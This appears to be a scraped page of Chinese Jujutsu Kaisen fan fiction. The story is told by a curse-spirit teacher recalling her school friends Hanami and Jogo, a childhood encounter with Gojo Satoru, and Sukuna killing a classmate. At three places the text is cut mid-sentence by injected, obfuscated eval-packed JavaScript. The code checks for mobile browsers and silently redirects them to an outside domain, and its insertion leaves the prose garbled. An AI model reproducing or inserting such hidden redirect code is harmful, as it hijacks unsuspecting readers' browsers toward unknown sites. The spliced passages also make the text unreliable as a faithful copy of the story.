《[咒回]是你们搞错反派了吧?!》
1. 云和雨
“天上飘着的是云,落下来就成了雨。”羂索老师这样说。
七年前,我从这所咒灵高专毕业。
记得那是一个普通的放学日,我和花御并肩走在樱花小路上,她在纠结用什么给漏瑚帮她烧田的回礼。
正值春色最好的时节,枝头满载着粉白的樱花,鸟儿在低空飞旋,翅膀在微风中颤动,飘落的花瓣无声无息飞舞,碧空之上,是层层绵绵的云朵。
多么美好的景色。
路的尽头就是我的住处了,我挥挥手跟花御告别。
“明天见,花御同学!”
至少,在我的记忆里,每一天都和那天一样美好。它们被储存成脑海中的影像,我记得我的同期脸上尚未褪去的笑容。
画面里我站在小路尽头回望,花御正将樱花瓣葬于树下,咒力温柔地从指尖流淌,不远处,躲在矮房后面的少年,正羞涩地望着我眼中的同一幕画面。
是漏瑚。
他好像发现了我注意到他的跟踪,霎时间红了脸,头顶的小富士山喷出两股烟圈,再一眨眼人影便消失不见。
多美好的青春呐!
爱花的女孩子,和喜欢爱花女孩子的男孩子。
在遍布明媚阳光的世界里,我们理所当然地生活着。
跳跃的火苗、飞舞的花瓣,樱花道上常有学生快步跑起来,在转弯时回眸冲后面的人招手。
每每回忆起这一幕,我都会莫名感伤。如果时间停在那一刻该多好,如果长大后的我们没有看见所谓“反派”的剧本该多好。
“明天见啊,大家!”
旋转的花瓣沾在女学生随风飘动的发丝上,她用力挥着手臂,甜美的笑容让她瓷白的皮肤有了点血色。
“明天会下雨哦,珍惜现在的风景,珍惜此刻的蓝天和白云吧!”
青春时期的少年少女总爱为景色感伤,对我而言,变幻的天气不过是自然现象。
但我的朋友不这么认为。
“这东西,在天上飘着就是云,落下来就变成了雨,和人类的感情一样,琢磨不透。”
“我们不也是新人类吗?”
“哈,谁知道呢,大人都那么说。”
我说:“但说到底还是有区别的吧,不然为什么不允许我们踏入另外的世界。”
“你想要出去看看吗?”花御转过头来问我。
“不,听说外面有可怕的家伙,以追杀咒灵为乐,就像故事里人人畏惧的大反派一样。”
我说完这句,气氛陷入了短暂的沉默。
沿着小路行走,花御再开口时,好奇的又是另外的问题。
“不过漏瑚可以把这些水变成蒸汽吧?”
“我才不要陪你们试验那种傻事!”
“是科学实验啦,每个学生的必修课。”
“那也不可以!想都别想,放课后还要做科学作业,你们也太努力了吧?”
“可我觉得雨还是回到天空中更美,洁白的,轻盈的,漂浮在我们的头顶,为我们遮挡晒人的阳光。”
“……”
“看好了,就这一次哦。”
“好耶!”
我们在蓝天下手舞足蹈,畅快大笑。
在那段单纯的高专时光里,我们经常会在玩闹时突然正经地研究起知识。
对咒灵来说,学习是一件不容易的事。
但观察水在不同温度下不同的形态,体会自然界天气的变化无常,计算每朵樱花飘落的速度,和鸟儿在蓝天下振翅的频率,对我们而言,都充满无穷的乐趣。
如老师说的那样,我们就像这个世界的新生人类,渴求智慧,渴求力量。
我最喜欢体术课上的咒力大比拼,最先跑到终点的人可以得到羂索老师从外面世界购买的漫画。
我们每一个人都对外面充满了好奇,但没有一个人想过要出去。
对于从“那个世界”获得的知识,我们憧憬的同时,又感到微微颤栗的恐惧。
尽管在成年后,大部分的科学小知识都被我遗忘在了久远的时光中。
*
我是二年级转学到都立咒灵高专的,其实跟花御和漏瑚做同学,也不过两年时光。
而我们的班主任羂索老师也在毕业那年成为了校长。
她跟宿傩大人是故交,听说那些从外面带回来的信息,都是靠两个人在外面世界的“朋友”。
那位朋友叫“天元”。
宿傩大人脾气不好,可能是岁数年长的男人的通病,我们必须管他叫“大人”,不然会被加体术训练。
「宿傩特训之躲避斩击术。」
我们都不喜欢上他的课,太严厉了!
但羂索老师很温柔,她其实没有固定样貌,明明也是长辈,但不许我们用“大人”来称呼。
“叫我老师。”
作为老师,最重要的是招生。
在我之后,班级里又多了不少新面孔,比如真人,比如坨艮。但说实话,我跟真人同学相处不来。
他的游戏总是充满了残酷的恶趣味,相比之下我更愿意和花御坐在树下赏花,时不时能吃到漏瑚煮的寿喜锅。
有一个天然移动火锅在身边,我们就是吃穿不愁的“最好组合”。
学校里我们的成绩差距并不大,花御在理论课上更优秀,漏瑚擅长体术课。
而我算是比较平衡的类型。
毕业后要去做什么呢?
我陷入了那个年纪该有的迷茫。
留在校园里,和羂索一样当老师,还是跟随宿傩大人去外面接任务?
外面的世界啊。
我们不止一次讨论过这个话题。
*
2009年,我即将毕业。
那天,三年级带着二年级的同学,躲在没开灯的社团活动室,小声密谋着什么。
砰的一声,门被踹开了。
“坨艮,开领域,我要吃海鲜火锅。”
漏瑚脾气很差地闯进来。
藏在披风下的大家全都颤了颤。
“搞什么啊,”我掀起披风,不满地说,“正进行到游戏的关键处呢,漏瑚把气氛全打乱了。”
激动的小火山噗呲一下熄灭了。
漏瑚眨了眨脸上的大眼,走过来。
“你们在玩什么游戏?”
“恐怖灵异预测卡牌。”坨艮八只手分别洗着牌,将牌面整齐码到桌面,推开。
“刚才的问题是,宿傩大人现在在外面执行什么任务?”
“你们胆子真大,背地里讨论他,不怕被剁成臊子吗。”漏瑚嘴上这么说,手已经从牌堆里抽出来一张。
「漆黑宇宙里,被云雾环绕的蓝色恒星。」
“这是牌面?完全看不懂啊。”
“其实早就听老师说过,外面的世界变得越来越危险,有人要致我们咒灵于死地。”
“很多人跟随宿傩大人出任务,就是去拯救被抓走的咒灵。”
“你们难道没有发现,羂索老师已经有一个月没出现在校园里了吗?”
漏瑚尝试理解了一下,马上摆手说“不知道,随便吧”,他最近一听到花御给他讲长篇大论就会有点烦躁。
“还没问,你刚才火气那么大,是遇到
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16301767|182782||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
什么事了?”
“有人欺负你?”
“谁能打得过漏瑚啊,我们之中这几个人,也就她能交手几回合吧。”有人指了指我。
我耸耸肩,不置可否。
在我的理念中,学习咒术知识多为自保,入学时老师便说过我天赋上限极高,但是想抵达那个境界,需要付出非人的努力。
直到我听说了“任务”的存在。
漏瑚满脸晦气地甩了甩衣袍,坐到椅子上说:“嘁,去便利店的路上,不知道哪里冒出的小鬼跑来袭击我。我见是个旧人类,就没跟他计较,过了几招,他看打不过就跑了,说要回去找他的老师祓除我。”
“所以花御,祓除是什么意思?”
“你文学课是怎么及格的啊!”
“你遇到了外面世界的人。”花御语气郑重地说。
“对方大概是个还在学习的咒术师,咒术师是我们需要对抗的天敌。”
我睁大眼睛看向花御,几日不见她竟变得如此成熟。
听说毕业前她向宿傩大人递交了申请,跟随他出过一次任务,回来后性情大变,再也不是只喜欢蹲在樱花树下埋葬花瓣的少女了。
“外面的世界之所以危险,就是因为人类中有咒术师的存在,他们专门捕杀我们咒灵。”
“所以——”
我和漏瑚同时出声。
“见到咒术师要拔腿就跑啊!”
“见到咒术师就拼命战斗啊!”
“……”
桌面生长出一根木刺,穿透了刚才翻转到正面的卡牌。
“请诸位理智一些。”
“未来,或者说不久之后,大人们一定会来找我们帮忙的,作为高专里优秀的学生,我们有责任保护咒灵世界,不被突然打破的平衡影响。”
或许就是那天不同反应的回答,见证了我们“最好组合”分崩离析的场面。
*
羂索老师回来了。
如花御预言的一样,回来当天,高专召开紧急会议。
羂索换了副新的躯体,是个长发男人,听说是“捡到的”,我有些犹豫要不要将性别一起改口。
“记住,在外面要称呼我为夏油大人。”
“是。”
原来,在我们快乐的学生时代,大人们替我们背负起保护这个世界的重担。
“跟我们咒灵一样,咒术师也分四级、三级、二级、一级,和特级。”
“但需要注意的一点是,一级咒术师比一级咒灵强,所以面对一级咒术师我们必须拿出特级咒灵与其对战。”
“如果遇到的是特级咒术师,请立刻逃亡,避免被祓除。”
漏瑚不满:“只有逃命一条办法吗?很逊啊。”
羂索严肃起来:“还有我们,特级咒术师就交给我和宿傩大人。”
“那天元大人呢?听说她一直居住在那个世界,会不会遇到了危险……不回来协助我们吗?”
羂索顿了顿。
“天元大人已经从我们的阵营中叛逃了。”
我捡起老师带回来的通告单。
上面用醒目的红色字体标注了咒灵高专内每一位学生的名字。
漏瑚、花御、真人、坨艮,还有我,被一齐命名为新“五大特级”。
我们上了追杀名单。
美好世界骤然颠倒,我们成了邪恶的存在。
在仅仅一道屏障之隔的另外的世界,咒术师们发起了抓捕“反派”的行动。
搞什么啊。
长成我们这样的,竟然是反派吗?
确定,没有拿错剧本吗?
2. 琥珀樱花
花御、漏瑚和坨艮,还有新加入的真人跟随羂索大人走了。
听说花御和漏瑚原本想跟随宿傩大人,但被训斥“我不需要废物”,灰溜溜地回来了,随后被羂索招募。
羂索温柔地解释说,宿傩大人在频繁外出任务期间,遗失了很多手指,所以心情不好,不是针对学生发火。
“你呢?你打算好去哪里了吗?”
我看着眼中已经变得极为陌生的老师,这个长发男人额前有一束刘海,眼睛微眯,重要的是那道贯穿额头的醒目疤痕。
我们依靠那个痕迹来辨别敌友。
新世界的大门就在眼前,而我却崩溃地拒绝打开。
“我哪儿都不去。这里是我的家,我要守护这里。”
“好,那这边就交给你守护了。”
肩膀被按了按,老师转身欲离开。
“老师,我们真的是十恶不赦的坏人吗?可我从来没做过坏事啊。”
泪水夺眶而出,我还是不敢相信摆在眼前、颠倒黑白的一切。
“是非善恶,黑白混沌于灰色之间,道理大义皆源自本心。”
老师留下一句高深莫测的话离开了。
*
我们过上了截然不同的生活。
樱花道的景色似乎从未变过,只是坐在树下的人变成了一个。
毕业后,我正式成为咒灵高专的一名教师。
虽然不清楚和前几任老师比,我有没有足够的资格,但至少,我和学生们相处得还不错。
偶尔,在某些平静的闲暇,我收到花御的消息,几句话,一张图。
角度基本都是从高山上俯拍的,漏瑚张开手臂,用岩浆驱赶咒术师。
「回收手指:一根。」
我向她表示祝贺。
真人总是说我不适合当咒灵,无论外表还是灵魂。
我曾经是从爱的诅咒中孕育的咒胎。
「爱很渺小,同时也伟大。」记得花御这样对我说过。
与此同时,我的脑海里闪出另一句话。
「没有比爱更扭曲的诅咒了。」
是谁对我说过的吗?
我皱了皱眉,一股异样的不适萦绕在心间,放大了我的不安。
这时候,草地里滚过来一枚亮晶晶的弹珠,碰到了我的脚尖。
我下意识缩回脚,咒力的光芒在手掌中若隐若现,不远处忽然跑过来两名学生,低头对我说着“抱歉”。
我低头捡起那枚弹珠,日光下它泛着清澈饱满的蓝调,白丝丝的浮云藏匿其中。
“这是——”
“老师,我们刚才在玩弹珠游戏。”学生踟蹰着开口。
“今天的体术训练完成了吗?”我问。
“完成了,枫谷君还陪着我们加练了一小时。”学生乖巧地回答。
我点点头,手指无意识转动着那枚玻璃珠。
学生忽然说:“老师喜欢的话,就送给您了。”
“等等——”我想喊住他,却只看到对方奔跑的背影。
自古学生都害怕老师吗,我失笑地想。
那名学生口中的“枫谷君”,全名枫谷悠真,是花御从外面世界捡回来的孩子,他天赋极高,如果好好练习,说不定有特级的潜质。
他的术式是难得的空间系,有他在,那些频繁外出执行任务的伙伴们,也有了安全保障。
而我最近在研究“结界术”。
羂索校长口中已叛逃的“天元大人”,或许已经不能用人类来界定,但毫无疑问的是,外面世界逐渐强大,一是靠天元结界的维持,二是许多年前曾在五条家诞生的“六眼神子”。
神子的出现彻底打破了我们两个世界的平衡,与之相应的,咒灵届也在积极寻找对策。
如果宿傩大人能找回全部遗失的手指,说不定我们的平衡又会回到以前。
那样的话,我又可以跟花御和漏瑚一起坐在樱花树下喝酒吃火锅了。
日光长久地照在同一处,玻璃珠在指尖逐渐发烫,内里的白云仿佛融化成了水一般的质地。
我莫名想起羂索还是班主任时,曾说过的关于云和雨的故事。
只是,这样好的春光,只有我一个人欣赏,也太自私了吧。
我举起手机,对着那片天空拍照,照片的角落收录进一簇樱花枝,还有我指尖捏着的蓝色弹珠。
在已经结束的对话框里,我又给花御发送了这张新鲜的照片。
「今年的葬花使者由我担当了哦。」
花御那边迟迟没有回复消息。
曾经的青春时光一去不复返,就在我感伤时,手机收到了漏瑚的信息。
「喂,你这家伙鬼点子最多,有空帮我想想,有什么礼物适合临别前送?不要太贵重,但也不能被轻易忘记的那种。」
「是送给花御同学吗?」
「不然呢。拜托,都毕业了就不要用学生的语气说话了吧。」
「怎么忽然想起来送礼物?」
明明毕业前有那么多机会,可那时候大家都仓促着奔向不同的未来。
漏瑚隔了几分钟才回复。
「明天,我要去对战六眼神子。」
我:「你已经这么强了吗?!」
漏瑚没搭理我,自顾自发着:「羂索警告过我,这一程可能有去无回。」
「虽然我对自己有自信,但总要做两手准备,一旦——」
「算了,你到底帮不帮我?」
我笑着回:「帮啊,爱的礼物小课堂马上开课哦!漏瑚要喊我一声清野老师,就算交学费了。」
「……」
我以为他会大叫着「滚开」或者用把我扔进岩浆里来威胁,可是,几分钟后,我盯着屏幕,眼前忽然模糊了。
「清野老师,给我选最好的礼物。」
与此同时,花御也回复了我的信息。
「景色这么好,没理由不回去,今晚见面吧。」
说起来,我们也从来没有好好告别过。
最好组合,最后再聚一次吧。
*
夜色下的樱花树,围炉煮茶。
难得都聚齐了,酒过三巡后,大家都有些兴奋。
“干杯!”
离开校园的大家都成熟不少,这里面只有我还穿着高专制服。
花御的风格变化最大,她以花托作酒杯,无言地喝了一盏又一盏。
漏瑚难得正经地打扮过一回,终于舍得换下战袍,穿上西装,打上领带,头顶的小火山也被抛光得锃亮。
如果不是他揣在口袋里的手掌遍布擦伤,还以为他是出入金融公司的上班族呢。
真人的审美最变态。
学生时代他就总爱穿女装,今天更甚,我明明没有邀请他,但他还是来了,还穿着芭比粉色的女仆装,说要给我们跳当下最热门的宅舞。
趁大家目光都被真人吸引了去时,漏瑚晃了晃花御的胳膊。
“喂,花御,这个给你。”
我借助余光,看见漏瑚手里抓着条吊坠。
清野瞳的礼物小课堂讲完后,漏瑚最终还是决定自己准备。
所以,连我也不知道他到底会送什么。
至少,不要像当年那样,不由分说就烧掉了花御的整片田,害她哭着跑出了教室。
那是一枚被打磨得奇形怪状的琥珀石。
花御说出了我心中同样的疑问:“这是什么?从樱花里孵化的咒胎吗?”
“什么啊,”漏瑚瞪了她一眼,“这不是很明显?”
“哪儿明显了?”
“你是被那两根树杈子完全挡住视力了吗!”
“你干嘛发火啦!”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16301768|182782||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
温情的礼物时刻转瞬变成了我最熟悉的吵架模式。
那个少女时代的花御似乎又回来了。
漏瑚气急败坏地上蹿下跳,头顶噗噗冒着火苗。
“这是颗心啊!里面装着樱花!白痴,你们都是白痴!”
我笑出了声,笑着笑着,眼睛里挤出几滴雨。
漏瑚把手拍到我们每一个人的眼前。
“看看!为了磨这块破石头,我手都受伤了!”
咒灵天生擅长使用咒力,反转术式对我们来说是必修课。
可是那晚我们心照不宣,谁也没有揭穿漏瑚的小谎言。
最后一杯酒饮尽,我们七手八脚地躺在树下。
头顶是盛开得像云朵一样的樱花,这是属于我们的夜晚,我们的天空,我们的云。
几滴冰凉的雨水从遥远的天际降落。
真人已经醉得神志不清,他虽然跟我们一起念书,但羂索老师说过,这家伙心性还是个孩童。
此刻他竟然笑哈哈地张大了嘴,任由雨水灌满他的口腔。
出于教师的职业病,我推了他一下:“你发什么疯啊,雨水很脏,喝了要拉肚子的。”
“你不懂啊,我是在享受来自天空的灵魂。”
“这家伙又在说疯话了,别管他。”漏瑚说。
他的火山也熄灭了,偶尔喷出几团蒸汽,散发着浓浓的酒味。
我把胳膊垫在脑后,闭眼感受着雨水滴在面颊的温度。
“喂,清野,你有没有考虑过和我们一起出去?”真人换了个姿势,甩了甩湿答答的长发。
“为什么问这个?”
“如果再加上你,说不定能打得过他们啊。”
“他们?”
“咒术师。”
童话般的时光过去了,飘飘然的思绪落回地面,变为我们长成大人后的现实。
“可我离开的话,谁来管学生们呢?”
“那让学生也一起出任务呗。”
“你是说让学生们去杀人?”
“喂,别说的那么难听啊,我们咒灵被祓除得还少吗?这是防卫战啊。”
“……”
“别劝啦,小瞳有自己要守护的理念。”花御说。
她已经很久不会叫我的昵称了,听到时我有点失神。
“敌人很强吗?”
“嗯,羂索大人可是说过,连漏瑚那样的都会死。”
“不是还有宿傩大人?那可是从古至今,无人能打过的战神啊。”
“那也得是全盛时期的宿傩大人,现在的他……还在忙着搜寻手指的路上呢。”
“抢回来不行吗?”
“很多手指都封存在五条家,如果要拿,势必会跟六眼那小子对上啊。”
我坐起身:“你们老说‘六眼’、‘六眼’的,那到底是谁啊?”
“现代最强特级咒术师。”
特级这个字眼一出,大家都沉默下来。
老师说过,同级咒术师的实力在咒灵之上,也就是说,至少需要多个特级咒灵合作,才勉强有胜算。
更不要说那位还是特级中的“最强”。
“那你还要去单挑?”我质问漏瑚,他转身留给我一个倔强的后背。
花御从手机里翻出一张照片,给我看。
“这就是那位‘六眼神子’,五条悟。”
吧嗒——
白天收进口袋里的弹珠不知怎么掉了出来,滚进草丛深处。
我一动不动地盯着那张照片。
浅发的高个子男人高悬在天空上,食指勾下眼罩边缘,露出一只眼睛,宛如藏匿于宇宙深处的恒星终于挪转到了世人面前。
冰冷的,傲视一切的。
「目光所至,皆为尘埃。」
我想,我见过那双湛蓝的眼睛。
3. 玻璃弹珠
那是在我还很小的时候。
刚学会控制咒力的我,对术式的运用还不完全。
我是一个特殊的咒灵。
术式的发挥需要依靠情感,也就是“爱”。
对“爱”的感受越深,我的咒力越强大,可以与任意被我投射了“爱”的目标建立束缚。
相反,如果目标的力量压制过我,我会遭到反噬,会永远被困在一个地方。
所以老师说,我的天赋上限极强,危害也极强。
我从来不轻易使用术式,高专的日子里我一直都在精进体术,依靠纯咒力输出。
毕竟,爱上一个目标很容易,难的是解除束缚。
我会轻易地放弃爱什么吗?
家门前的院子里,我第一次使用术式束缚住的樱花树,已经盛开了二十余年。
我仍然没有办法解除对它的“爱”。
打那以后,就算再喜欢某样东西,我也没有使用过术式。
*
那天,我像往常一样和伙伴们分别,走在回家的路上。
手里捧着游戏赢来的战利品——一堆玻璃弹珠。
视线朝宽阔的大道尽头望去。
那里矗立着一棵巨大的樱花树,枝繁叶茂,粉白色的樱花一蓬一蓬在枝头炸开,其后的红色房顶若隐若现。
那是我的家,同时也是两个世界的交界。
起初我不理解,让一个小孩子住在结界边缘的房子,真的没关系吗?
年长的咒灵告诉我,因为我的特殊性,所以很安全。
我是那种没有任何攻击性的咒灵。
对咒灵无害,同样也对人类无害。
从守护秩序与两者平衡的角度出发,确实是中立的不二人选。
直到那个突如其来的意外。
——我因为术式使用不当,将一棵樱花树永远地定格在了房门前。
那时候我以为自己要被秘密处决,是羂索老师救下我,和我约定将来就读咒灵高专。
因为那棵树,我对咒术产生了深刻的阴影。
童年的心理阴影不会消失,只会一点一滴被埋进记忆的深处,在某个平常的日子里,突如其来敲响我的门。
*
那天就是记忆被敲门的日子。
我停下了欢快的脚步。
从未有人光顾的道路尽头,我的家门前,站着一高一矮两个身影。
根据外观,我判断他们是来自另一个世界的,人类。
从小就被教育不可以与那边的人接触,我一时间被吓得定在原地,甚至忘了隐藏气息。
一个大人,带着一个小孩。
大人手中撑着纸伞,孩子则从伞底下的阴影走出来,抬头望着那棵比普通树都要巨大的,独属于我的樱花树。
那个浅色头发的男孩穿着传统的和服,水蓝色蜻蜓纹绑带一丝不苟地缠过腰际,双手端正地揣在身前,春日的太阳在他发顶洒下闪闪金光,身旁随从将伞举高,随后他半个肩膀都被笼罩在阴影之下。
是谁家的贵公子出来散步吗。
似乎察觉到我的目光,男孩停下脚步,回头看向我。
比天空更蓝、比日光更亮,玻璃弹珠里流动着浮云。我见到了一双无与伦比的眼睛。
湛蓝的光泽从那对眼眸中涌动,我看呆了,不自觉迈动双脚朝那对蕴含天空与云翳的宝石奔跑。
对方皱了下眉,藏在宽大袖口下的手指做了个结印的手势。
在印记成型前,我摊开双手,把五颜六色的弹珠递到他眼前。
伞面被掀开,男孩身边的仆从伸手要来推我,被那只藏在袖袍下的手拦住。
“无妨,她打不过我。”
仆从似乎对这个小孩言听计从,停下动作,愁眉苦脸地站到一边,紧绷绷地盯着我,那表情像是要把我活剥了。
干嘛,看见弹珠没你的份,嫉妒了吗?
大不了待会也给你一个。
我这样想着,掌心忽然一轻。
男孩的眼眸逐渐溢出蓝色的光辉,像是夜晚时发着光的星星。他抬起一只手,那些弹珠被一股看不见的力量吸引了过去,悬停在我们之间。
“喂,不可以全抢走啊!”
大人没有教过你,别人分享给你东西时不可以全都拿走吗?
我伸手去夺,却撞上了一堵无形的墙。
震惊中我抬眼看他。
小孩表情冷冷的:“这是什么?”
“普通的玻璃珠子啦,怎么,你没见过吗?”我负气地说。
哗啦啦——
弹珠忽然恢复了重力,稀里哗啦朝地面落,我瞪大双眼惊呼出声,那些圆滚滚的小东西在将要砸到地面时,再度被一股力量吸引,向上升起。
这孩子像是在隔空玩一种我看不见也不能理解的悠悠球。
“很幼稚的小玩意。”男孩毫不客气地发表评价。
“那你还给我啊!”我大叫着。
因为大人的叮嘱,又不能使用咒力抢夺。
可对方却毫不在意地在我面前炫耀他花里胡哨的术式效果。
简直太不公平了!
我气急败坏,在原地无能狂怒。
砰——
弹珠们被小孩隔空击飞,他推了下手掌,玻璃珠朝我砸来,我只能抬手躲避。
雨点一样的弹珠击打在我手臂外侧,我跌坐到了地上。
好痛!怎么欺负人呀。
“你是诅咒,”小孩走到我面前,居高临下地揣着手,盯着我,“诅咒都是坏东西。”
冰冷的目光从我头顶扫过,激起一阵莫名的颤栗。
“你这是纯纯的歧视!我没有伤害过任何人!”
“虽然你没有伤害过人,但根据咒术法则,你是诅咒,我要将你祓除。”
他说完这句话,两只手再度结印,嘴里念着一些高深莫测的词语。
从天空中笼罩下黑色的雾气,我爬起来转身就跑,却被强势的蛮力吸引回原地。
晴朗的碧色天空被浓黑的雾障遮蔽,那个凶巴巴的男孩的眼睛,竟然成了唯一发光的东西。
我看着他的眼睛,想起了天空,想起了满地的弹珠,想起了它们再也无法被春日阳光照拂——
生死攸关之际,我发动了术式。
玻璃珠旋转着飞到面前,替我挡下了一波波迸发着蓝色闪光的攻击。
质地脆弱的玻璃并没有化为齑粉,反而坚不可摧,盾牌一样被我举在身前。
随行的大人终于恢复了理智,没有贸然去拉扯男孩的袖子,明明是长辈,却用着谦卑和劝导的语气说:“悟少爷,那是未在名册上的特级过怨咒灵。”
“我知道,六眼告诉我了。”小孩面不改色地说。
大人说:“目前我们并没有直接祓除特级的实力,趁那家伙没释放攻击,还是快点回到结界内吧。”
“而且家主大人叮嘱过,必须要保
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16301769|182782||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
证安全才可以外出,今天的路线并未报备,还请您——”
“啰嗦。”
大人顷刻止住了声音。
蓝色的光芒消失了,我从弹珠盾牌后面悄悄挪开,本想偷看一眼,谁知跟那双蓝眼睛直接四目相对了。
幽幽光辉减弱了点,但没有完全熄灭。
“这次先放过你。”
“不要躲在后面,明明没那么弱。”
“下次再见,我会祓除你。”
说着,他食指和拇指相扣,朝我这里弹出最后一枚弹珠。
我下意识躲开,那枚弹珠的轨迹命中身后的树干,砸出一个深深的洞坑。
无法消除的伤痕留在了樱花树体内。
我的心脏仿佛也凹陷了一块。
*
“你们觉得,谁是当今诅咒中的最强?”
我想都没想便回答:“宿傩大人吧。”
宿傩大人的体术课,曾经是我最伤脑筋的课程。如今,竟然有些怀念。
他独自出行后杳无音讯,可我们都不认为他死了,大概,有其他事要忙吧。
在宿傩大人眼中,学校无所谓,咒灵无所谓,咒术师更无所谓,他这一千多年过得随心所欲。
站在某些角度,我并不认同他的行事态度,但他确实是我们诅咒中最厉害的。
只要他存在,咒灵的力量就不会失衡。
读书时,学校里就有众多同学崇拜宿傩大人,他们狂热地模仿,甚至在对决练习中逐渐出格,手段也越来越残暴。
——那不是我想象中咒灵该有的样子。
我跟花御偏向于温和派,也理所当然成为了体术课上被反复挑战的对象。
校内交流是可以任意选择对手挑战的,崇拜宿傩大人的同学们自动划分到一个阵营,几乎不断地向我和花御发起挑战。
我是特级这件事,除了老师和关系好的朋友,再无人知道。
有一天午休,我在回教室的路上被几名同学拦住。
“你是笨蛋吗?入学这么久都没见你使用过自己的术式,该不会没有吧?”
一个蓝色皮肤、脸上长满眼睛的咒灵朝我挑衅地喊话。
“现在是午休时间,等体术课你再来挑战我吧。”我说。
“哈?”那人发出嗤笑,“早就听说我们中间出了个异类,弱得像是个人类。”
“我们是人类。”我说。
“呸!”他朝地上啐了一口,“狗屁人类,我们是诅咒啊!你该不会是咒术师那边派来的卧底吧?”
“请不要污蔑,这些都是老师告诉我的,你没有资格质疑老师的教导。”
“你这家伙……”他向我伸出手,手指如某种禽类,“真是令人火大啊。”
“诅咒从诞生起就是要杀戮和吃人的,你违背自己的天性就是在背叛我们。你根本不配当诅咒。”他说。
一股鱼类的腥臭从他的口腔中散发出来。
咒灵大部分在发动咒力时会散发出难闻的体味,像我和花御这种,经常做自我管理,所以跟对方从外表上看去——
差距不是一般的大。
可这又如何呢?老师说过的,人和人的差距,比人和动物的差距还大。
我们咒灵之间也有像人和不像人的。
这不是很正常吗?
我觉得我的逻辑没有任何漏洞,可对方显然是个成绩极差的小混混咒灵,没等我跟他解释,就率先发动了攻击。
4. 塔罗牌
铺天盖地的咒力朝我袭来,我随手捡起一根枯枝。
其实随着时间流逝,儿时对术式的阴影和负罪感已经不会再时时刻刻影响我了。
第一次受到来自咒术师的杀意、以及那位当时还是孩童的“六眼神子”的口头战书后——
我打起架来也不再畏手畏脚。
躲避,但是也要在适度的范围反击。
毕竟,挨了欺负要还回去啊!
术式的光芒从我的手中迸发,如云雾一般包裹整条枯枝。
已经行走在时间尽头的花枝陡然爆发出蓬勃的生命力,我将它的生命定格在了最繁盛的时刻。
濒死的枯枝得以复苏,同时也受制于我的束缚。
根据自身约束的善恶分界线,我只对将死之物发动术式。
此时此刻,花枝的坚韧程度已经远超钢铁。
它化作我手里有力的武器,替我抵挡接连不断的咒力攻击。
暴风般的咒力将我卷向空中,我借力俯冲,将树枝点向地面。它没有折断,而是成为支点,我从倒立的姿势翻转过来,脚尖凝聚咒力,一个飞踢将对方踹到几米开外。
并不认为路上突袭我的咒灵能讲究比武道德,但反击时,我还是习惯性避开了对方要害。
他恼怒地大叫着,将禁锢在身上的衣服撕烂,飞到半空中,彻底爆发出咒灵的野性。
“喂,认真点啊!瞧不起我吗?”
认真的话你现在已经是尸体了。
我在心里不客气地想着,手抖了抖花枝,一股馨香扑鼻,下一秒铺天盖地的臭气再度从前方冲刷过来。
不做体味管理的咒灵真的,罪该万死啊!
旋风把花瓣卷得七零八落,枝条变得光秃秃,转眼间又迸发出光辉,花朵再度饱满如初,盛开在我手中。
我屏住呼吸,闭上眼睛准备凝聚咒力,就听见前方传来一串尖利的嚎叫。
我被那动静吓了一跳,以为那家伙返祖后开始抽风,结果映入眼帘的,是被竖向劈成十六份的躯体,在空中停了半秒,闷闷地坠向地面。
我感觉自己的心脏也停了半秒。
那干净利落的切面,是我们咒灵高专学生最熟悉不过的术式了。
——宿傩大人的“解”。
四手四眼满身黑纹的男人穿着面料高级的传统和服,他掐了掐手指关节,从更高的地方一跃而下,踱步到跟前来。
地上的咒灵已了无生气,灰白的眼珠黯淡下来。空气里只剩下咒力的残秽,浓稠地萦绕在我们四周。
我的同学就这样死了。
不确定那位已经接近于魔鬼的存在是否对我也产生了杀意,我顾不得为死去的同学哀悼,松开手将花枝扔到地上,主动缴械投降。
宿傩大人还在欣赏他精准分割的杰作,眼睑下方的另一对殷红之眼转到了我身上。
“终于清静了,”他用手指挖了挖耳朵,“大老远就听见吵吵嚷嚷的,午饭吃太饱了么?我可连早餐都没吃呢。”
漫不经心的语气,那眼神似乎已经开始研究该如何拿那堆肉料理了。
——这是我们的高专“老学生”才知道的秘密,宿傩大人在使用正确食材时,烹制的料理其实很好吃。
但此话置于此景,就有些诡异了。
他的双手竟然真的生出火球来,裹挟着热浪朝那残尸射去。
“宿傩大人——”我跌坐在地上,磕磕绊绊地说,“怎么会这样……为什么会这样?”
宿傩大人看都没看我一眼,只是掸了掸袖袍,转眼间沾在他身上的那些残秽都消失了,又变得一尘不染。
他冷冰冰地说:“因为是同类所以不杀,是那个笨蛋老师教的你?”
